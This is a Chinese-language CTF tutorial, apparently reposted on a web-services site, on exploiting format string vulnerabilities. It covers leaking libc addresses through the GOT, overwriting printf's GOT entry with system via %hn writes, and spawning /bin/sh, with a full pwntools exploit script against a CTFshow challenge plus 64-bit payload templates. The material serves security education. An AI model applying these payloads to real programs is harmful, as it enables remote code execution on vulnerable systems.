格式化字符串漏洞:从内存泄露到GOT覆写的PWN入门实战
2026/7/28 16:01:53 网站建设 项目流程

1. 项目概述:为什么格式化字符串漏洞是PWN入门的“必修课”?

如果你刚开始接触CTF中的PWN方向,面对一堆反汇编代码和内存地址可能会感到无从下手。那么,“格式化字符串漏洞”绝对是你绕不开的第一个实战型知识点。它不像栈溢出那样需要精确计算偏移和构造复杂的ROP链,也不像堆利用那样需要对内存管理有深刻理解。格式化字符串漏洞的利用逻辑相对直观,攻击向量清晰,非常适合作为从理论走向实战的桥梁。在CTFshow的PWN入门题中,这类题目出现频率极高,因为它能很好地考察选手对程序内存布局、函数调用约定以及利用脚本编写的基本功。

简单来说,格式化字符串漏洞源于程序员错误地使用了像printfsprintffprintf这类C语言格式化输出函数。当这些函数的格式化字符串参数(即第一个参数)由用户可控时,就埋下了祸根。攻击者可以通过输入特殊的格式符(如%x%p%s%n),让程序执行超出预期的操作——比如读取栈上的任意内存内容,或者向任意地址写入数据。在CTFshow的题目环境中,这通常直接关联两个核心目标:一是泄露关键信息(如libc基地址),二是篡改关键数据(如覆盖GOT表项)。掌握它,你就能亲手打开一扇通往二进制安全世界的大门。

2. 漏洞原理深度拆解:格式化字符串如何成为“万能钥匙”?

要利用一个漏洞,首先得彻底理解它为什么会发生。C语言的printf家族函数,其强大之处在于它通过解析格式化字符串中的“格式说明符”来决定如何解释和输出后续的可变参数。正常的用法是printf(“Hello, %s!”, name),这里%s是格式符,name是对应的参数。系统会根据格式符%s,去栈上取出一个指针,然后将其作为字符串地址来打印。

2.1 漏洞的诞生:当格式化字符串被用户掌控

漏洞产生的典型代码如下:

char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf); // 危险!如果buf中包含%格式符,程序会将其解释。

当用户输入%p时,printf会认为程序原本打算输出一个指针,于是它就会去栈上“取参数”。但问题是,代码里并没有为这个%p提供对应的参数。printf函数可不管这些,它会忠实地按照格式化字符串的指示,从栈上当前的位置开始,把本不属于参数的数据当作参数读出来。这就是任意内存读的源头。

2.2 栈布局与参数定位

理解栈在函数调用时的布局至关重要。以32位程序为例,当调用printf(buf)时,参数入栈顺序从右向左,但栈内存增长方向是从高地址到低地址。调用后栈顶附近布局大致如下:

高地址 ... (调用者栈帧) 返回地址 旧的ebp buf的地址 (printf的第一个参数,即格式化字符串地址) [栈上位置1] -> 对应格式化字符串中第一个%格式符 [栈上位置2] -> 对应第二个%格式符 ... 低地址

printf内部有一个指针,初始指向格式化字符串地址之后的栈位置(即“栈上位置1”)。每遇到一个需要参数的格式符(如%x,%s,%n),它就从这个指针指向的地方“取”数据,并将指针向高地址移动(在32位下移动4字节)。如果格式化字符串是我们控制的,我们就可以通过精心构造的%p%x来遍历栈上的数据。

2.3 核心格式符的“武器化”

  • %p%x:用于泄露地址。%p以指针格式(带0x前缀)输出,%x以十六进制输出。输入%p%p%p,就能连续打印栈上的3个数据。
  • %s:危险读操作。它会把对应位置的数据解释为一个指针,然后去这个指针指向的地址读取字符串,直到遇到空字节。这可以用来读取任意地址的内容,比如读取GOT表中存储的puts函数实际地址。
  • %n:核心写操作。这是格式化字符串漏洞的灵魂。%n不输出内容,而是将截至目前已成功输出的字符数,写入到对应参数所指向的地址。例如,printf(“AAAA%n”, &counter),会将数字4写入变量counter。通过控制输出字符的数量,我们就能向任意地址写入任意值。
  • %c:用于控制输出字符数量,常与%n配合来精确控制写入的数值。
  • %<N>d%<N>c:指定宽度输出。%100d会输出一个至少占100宽度的整数,不足补空格。这可以快速增大输出字符数,避免真的输出几百个A
  • 位置参数%<k>$p:直接指定参数。这是实战中的关键技巧。%7$p表示直接使用栈上第7个参数(从1开始计数),而不管前面有多少个格式符。这允许我们精准定位到栈上特定位置的数据,或向特定地址写入。

注意%n写入的数据大小取决于格式字符串修饰符。%n写入4字节(int),%hn写入2字节(short),%hhn写入1字节(char)。在64位程序中,为了写入8字节地址,通常需要分两次用%hn写入。

3. 利用链构建:从信息泄露到GOT覆写

一个完整的格式化字符串漏洞利用,通常遵循“信息泄露 -> 计算关键地址 -> 内存篡改”的链条。我们以CTFshow中一道典型题目为例,假设程序是32位,开启了NX和部分RELRO(GOT表可写),没有PIE(程序基地址固定)。

3.1 第一步:栈内存侦察与偏移计算

首先,我们需要找到我们输入的字符串在栈上的起始位置。

  1. 连接题目,发送一串易于识别的模式字符串,例如AAAA%p-%p-%p-%p-%p-%p...
  2. 程序回显可能类似:AAAA0xff8a3d20-0x1-0xf7f8e5a0-0x41414141-0x70252d70-0x252d7025...
  3. 观察输出,找到0x41414141(即AAAA的十六进制)。它出现在第4个%p对应的位置。这说明,我们输入的字符串的地址(或内容本身,取决于题目实现)位于栈上第4个参数处。那么,第一个%p对应栈上第1个参数(通常是格式化字符串地址之后的某个值),第二个对应第2个,以此类推。因此,AAAA位于第4个参数,其偏移就是4。
  4. 使用位置参数验证:发送AAAA%4$p,如果回显AAAA0x41414141,则确认偏移为4。

3.2 第二步:泄露libc基地址

这是获取shell的关键。我们需要知道libc中system函数的绝对地址。

  1. 目标:泄露一个已经在GOT表中存在的libc函数地址,例如putsprintf
  2. 方法:首先需要知道该函数GOT表项的地址。由于没有PIE,这个地址是固定的,可以通过objdump -R pwnfilepwntoolself.got[‘puts’]获取,假设为0x804c014
  3. 利用:构造payloadp32(0x804c014) + b'%4$s'。这里p32是打包成32位小端序字节。发送后,printf会将0x804c014作为字符串输出,然后遇到%4$s%4$s告诉程序:去栈上第4个参数的位置取一个值作为指针,并打印该指针指向的字符串。此时,栈上第4个参数正好是我们payload开头的0x804c014本身(的地址)。所以,程序会去内存地址0x804c014处读取数据——这里存放的就是puts函数在libc中的实际地址。程序会将它当作字符串打印出来,直到遇到空字节,实际上会打印出这个地址值。
  4. 计算:收到泄露的地址,例如0xf7e3c5a0。然后查询libc版本(题目可能给出,或通过libc数据库匹配),找到该libc中puts函数的偏移量offset_puts。那么,libc_base = leaked_puts_addr - offset_puts。进而,system_addr = libc_base + offset_systembin_sh_addr = libc_base + offset_binsh

3.3 第三步:覆盖GOT表劫持程序流

有了libc地址,我们的目标是将一个函数的GOT表项修改为system的地址。通常选择printf__stack_chk_fail这类在后续会被调用的函数。

  1. 目标地址:假设我们选择覆盖printf的GOT表项0x804c010system地址0xf7e0c5a0
  2. 挑战%n写入的是已输出的字符数。要写入一个巨大的地址值(如0xf7e0c5a0,十进制约4,161,176,992),直接输出这么多字符不现实。
  3. 解决方案:分字节写入。将32位地址拆分成两个16位的部分(高位和低位),利用%hn分别写入。但需要注意写入顺序和地址对齐。
  4. 构造Payload
    • 计算system_addr的低16位low = system_addr & 0xffff,高16位high = (system_addr >> 16) & 0xffff
    • 需要写入两个地址:printf_got(写低位)和printf_got+2(写高位)。
    • Payload结构:[addr_low][addr_high][format_string]。但%hn是按顺序写入的,我们需要控制先后写入哪个地址,以及写入的值。
    • 一种经典构造是:payload = p32(got) + p32(got+2) + f'%{low-8}x%{offset}$hn%{high-low}x%{offset+1}$hn'。这里low-8是因为前面已经输出了8个字节的地址;第一个%hnlow写入got%{high-low}x输出足够的空格使总输出字符数达到high;第二个%hnhigh写入got+2
    • 更稳健的方法是使用位置参数,并将地址放在格式化字符串后面,通过%<offset>$hn直接指向栈上的地址参数。

3.4 第四步:触发执行

覆盖完成后,当程序再次调用printf时,实际上会跳转到system函数。如果我们能控制传给printf的参数,就能将其变为system的参数。常见的技巧是,在覆盖GOT表之前或之后,通过格式化字符串漏洞同时在栈上布置一个字符串/bin/sh的指针,并确保在调用被劫持的函数时,这个指针恰好是其第一个参数。或者,更简单的是,劫持printfsystem后,在下次输入时直接发送/bin/sh,因为程序可能会用printf(buf)来输出,此时buf(即/bin/sh)就成了system的参数。

4. 实战演练:CTFshow典型题目分析与脚本编写

假设我们拿到一个名为pwnme的32位ELF文件,其核心漏洞代码段如下:

void vuln() { char buf[100]; read(0, buf, 99); printf(buf); // 第一次格式化字符串漏洞,用于泄露 read(0, buf, 99); // 第二次读入 printf(buf); // 第二次格式化字符串漏洞,用于写入 }

4.1 信息收集

checksec pwnme

输出可能显示RELRO: Partial RELRO(GOT可写),PIE: No PIE(基地址固定)。

使用pwntools脚本开始交互:

from pwn import * context(arch='i386', os='linux', log_level='debug') # p = process('./pwnme') p = remote('pwn.challenge.ctf.show', 12345) elf = ELF('./pwnme') libc = ELF('/path/to/libc.so.6') # 或使用LibcSearcher

4.2 泄露libc地址

# 1. 计算偏移 p.sendlineafter(b'>', b'AAAA%p-%p-%p-%p-%p-%p-%p') resp = p.recvline() print(resp) # 假设在输出中,0x41414141出现在第7个%p,则偏移为7。 # 使用位置参数验证 p.sendlineafter(b'>', b'AAAA%7$p') resp = p.recvuntil(b'\n') print(resp) # 收到 AAAA0x41414141,确认偏移为7。 # 2. 泄露puts的got表项地址 puts_got = elf.got['puts'] log.info(f"puts got: {hex(puts_got)}") payload1 = p32(puts_got) + b'%7$s' # %7$s 读取栈上第7个参数指向的字符串 p.sendlineafter(b'>', payload1) p.recvuntil(p32(puts_got)) # 接收直到地址后的内容 leaked_puts = u32(p.recv(4)) # 读取4字节的地址 log.success(f"leaked puts addr: {hex(leaked_puts)}") # 3. 计算libc基址和system地址 # 假设已知libc版本,或使用LibcSearcher from libcSearcher import * libc = LibcSearcher('puts', leaked_puts) libc_base = leaked_puts - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') log.success(f"libc base: {hex(libc_base)}") log.success(f"system addr: {hex(system_addr)}")

4.3 覆盖printf的GOT表项

# 选择覆盖printf的GOT,因为下次printf(buf)时,buf就是我们的参数 printf_got = elf.got['printf'] log.info(f"printf got: {hex(printf_got)}") # 分两次写入(高位和低位) low = system_addr & 0xffff high = (system_addr >> 16) & 0xffff log.info(f"low: {hex(low)} high: {hex(high)}") # 构造payload。注意:我们需要将两个目标地址(printf_got和printf_got+2)放到栈上。 # 假设经过测试,这两个地址会出现在栈上第7和第8个参数位置(可能需要微调)。 # 构造方式:addr_low + addr_high + format_str # format_str 需要先输出low-8个字符,然后向第7个参数指向的地址(addr_low)写入2字节(%hn) # 再输出(high-low)个字符,然后向第8个参数指向的地址(addr_high)写入2字节。 # 注意:如果high < low,需要处理进位,这里假设high > low。 payload2 = p32(printf_got) + p32(printf_got+2) # 使用位置参数 %7$hn 和 %8$hn payload2 += f'%{low-8}x%7$hn%{high-low}x%8$hn'.encode() # low-8 是因为已经输出了8字节的地址 # 发送payload p.sendlineafter(b'>', payload2)

4.4 获取shell

# 此时,printf的GOT已被覆盖为system地址。 # 下一次调用printf(buf)时,buf的内容将被作为system的参数执行。 # 发送 /bin/sh p.sendlineafter(b'>', b'/bin/sh\x00') # 注意字符串结尾 # 触发printf(buf),实际执行system("/bin/sh") p.interactive()

5. 64位程序下的挑战与技巧

64位程序利用格式化字符串漏洞的主要区别在于参数传递规则。前6个整数或指针参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递,后续参数才通过栈传递。对于printf,如果格式化字符串需要7个或更多参数,第7个才开始在栈上。

这意味着,我们输入的格式化字符串本身,如果作为第一个参数(在RDI中),那么%p%s%n等需要参数的格式符,会依次消耗RSI、RDX等寄存器的值,直到用完6个寄存器,才会去栈上找。这给我们定位输入字符串在栈上的位置带来了困难。

应对策略

  1. 使用大量%p或%lx:先发送一堆%p来“耗尽”寄存器参数,并观察输出。当输出开始出现看起来像是我们输入字符串的片段(如0x7fffffffe3a0)时,记下这是第几个%p。这个位置之后的参数就在栈上了。
  2. 利用%n写入寄存器?通常很难,因为寄存器里的值我们不易控制。因此,64位下的利用更依赖于栈上的参数。我们依然可以通过位置参数%<k>$n来指向栈上的特定位置。
  3. 写入地址的存放:在64位下,地址是8字节。我们需要将目标地址(如GOT表项地址)放到栈上。由于地址中可能包含空字节(如0x00007ffff7ddb000),这会导致字符串截断。解决方法:
    • 将地址放在payload末尾:格式化字符串在前,地址在后。这样,格式字符串中的%n可以通过位置参数指向后面的地址。
    • 使用%hn分多次写入:和32位一样,将8字节地址分成多个2字节部分写入。
    • 注意栈对齐:64位系统通常要求栈地址16字节对齐,在构造payload时可能需要填充。

一个简化的64位利用payload结构示例(假设输入字符串的地址在栈上第10个参数处):

# 假设要覆盖的地址是 got_addr,要写入的值是 target_value # 将 got_addr 和 got_addr+2 放在payload末尾 payload = b'%{low}c%10$hn%{high-low}c%11$hn'.ljust(16, b'A') # 格式化字符串部分,填充对齐 payload += p64(got_addr) + p64(got_addr+2) # %10$hn 会写入 got_addr, %11$hn 会写入 got_addr+2

6. 常见问题排查与高级技巧

6.1 偏移不准怎么办?

  • 原因:本地环境和远程环境栈布局可能有细微差异;程序可能有不同的编译选项或初始化流程。
  • 解决:编写脚本自动化探测。发送%p*N,观察输出,寻找特征值(如输入的AAAA对应的0x41414141)。或者发送%1$p %2$p ... %20$p一次性探测多个位置。

6.2 泄露的地址看起来不对?

  • 原因:可能泄露的不是指针,而是数据;或者因为小端序显示问题。
  • 解决:确保使用%s泄露时,对应栈位置的值确实是一个指向目标地址的指针。使用%p泄露的则是栈上的值本身。在接收数据时,用u32()u64()正确解包。

6.3 %n写入失败或程序崩溃?

  • 原因:目标地址不可写(如RELRO FULL);地址未对齐(尤其在64位下);写入的值太大导致输出过程异常。
  • 解决
    1. 检查checksec确认GOT可写。
    2. 确保写入的地址是合法的、对齐的。例如,32位写入地址应是4字节对齐,%hn写入的地址应是2字节对齐。
    3. 对于大数值写入,优先使用%hn分两次。如果数值确实很大,考虑是否可以通过多次%hhn单字节写入来构造,或者利用已输出的字符数(例如,程序本身输出的某些提示信息字符也算在内)。

6.4 如何应对无PIE但地址有坏字符?

  • 场景:地址中包含\x00(空字节)、\x0a(换行)、\x20(空格)等,这些字符可能会被输入函数(如scanffgets)截断。
  • 解决
    • 将地址放在payload最后:这样前面的格式化字符串可以不受影响地包含这些字节。
    • 使用%hn%hhn:避免在地址中直接出现需要写入的大数值,而是通过控制输出字符数来间接写入。
    • 利用栈上的现有地址:有时不需要自己放置地址,栈上可能已经存在指向GOT或libc的指针,直接用位置参数%<k>$s去读或用%<k>$n去写即可。

6.5 一次格式化字符串调用同时完成读和写

在有些题目中,可能只有一次利用格式化字符串的机会。这就需要精心构造一个payload,同时完成信息泄露和GOT覆盖。思路通常是:利用%s泄露信息的同时,通过%n系列格式符进行写入。由于%n写入的值是已输出的字符总数,需要精确计算在%s泄露前后输出的字符数,以确保%n写入正确的值。这通常需要更复杂的构造和计算。

格式化字符串漏洞的魅力在于它的灵活性与直接性。它像一把手术刀,让攻击者能够精细地观察和修改进程的内存状态。通过CTFshow的PWN题反复练习,从简单的地址泄露到复杂的多阶段利用,你会逐渐建立起对程序内存空间的直觉。记住,每一个%p的输出都是一个故事,每一个%n的写入都是一次改写命运的尝试。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询